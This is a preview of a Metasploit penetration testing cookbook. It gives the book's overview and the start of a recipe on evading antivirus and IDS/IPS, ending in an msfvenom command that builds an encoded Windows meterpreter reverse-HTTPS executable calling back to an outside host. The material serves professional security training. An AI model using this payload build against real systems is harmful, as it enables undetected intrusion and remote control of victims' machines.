Metasploit Penetration Testing Cookbook - Third Edition

By: Daniel Teixeira, Abhinav Singh, Nipun Jaswal, Monika Agarwal

Overview of this book

Metasploit is the world's leading penetration testing tool and helps security and IT professionals find, exploit, and validate vulnerabilities. Metasploit allows penetration testing automation, password auditing, web application scanning, social engineering, post exploitation, evidence collection, and reporting. Metasploit's integration with InsightVM (or Nexpose), Nessus, OpenVas, and other vulnerability scanners provides a validation solution that simplifies vulnerability prioritization and remediation reporting. Teams can collaborate in Metasploit and present their findings in consolidated reports. In this book, you will go through great recipes that will allow you to start using Metasploit effectively. With an ever increasing level of complexity, and covering everything from the fundamentals to more advanced features in Metasploit, this book is not just for beginners but also for professionals keen to master this awesome tool. You will begin by building your lab environment, setting up Metasploit, and learning how to perform intelligence gathering, threat modeling, vulnerability analysis, exploitation, and post exploitation—all inside Metasploit. You will learn how to create and customize payloads to evade anti-virus software and bypass an organization's defenses, exploit server vulnerabilities, attack client systems, compromise mobile phones, automate post exploitation, install backdoors, run keyloggers, highjack webcams, port public exploits to the framework, create your own modules, and much more.

Bypassing antivirus and IDS/IPS


As time went by, and Metasploit became the tool to use for exploitation, security vendors started to detect and stop exploits from running. As we have seen in the previous chapter, some did this by detecting the encoders used, others simply by detecting the default certificate used to encrypt the communication between the payloads and the listener. One approach to bypassing these solutions is to combine the use of custom encoders and trusted certificates.

How to do it...

In this recipe, we will combine several bypass techniques in order to successfully bypass antivirus and IDS/IPS solutions.

  1. First, we will create the payload using the bf_xor custom encoder used in the previous chapter; this way we can ensure that the solution looking for the default encoders won't flag our payload as malware:
root@Metasploit:~# msfvenom -p windows/meterpreter/reverse_winhttps LHOST=zinitiative.com LPORT=443 HandlerSSLCert=./unified.pem StagerVerifySSLCert=true -f exe -e x86/bf_xor...
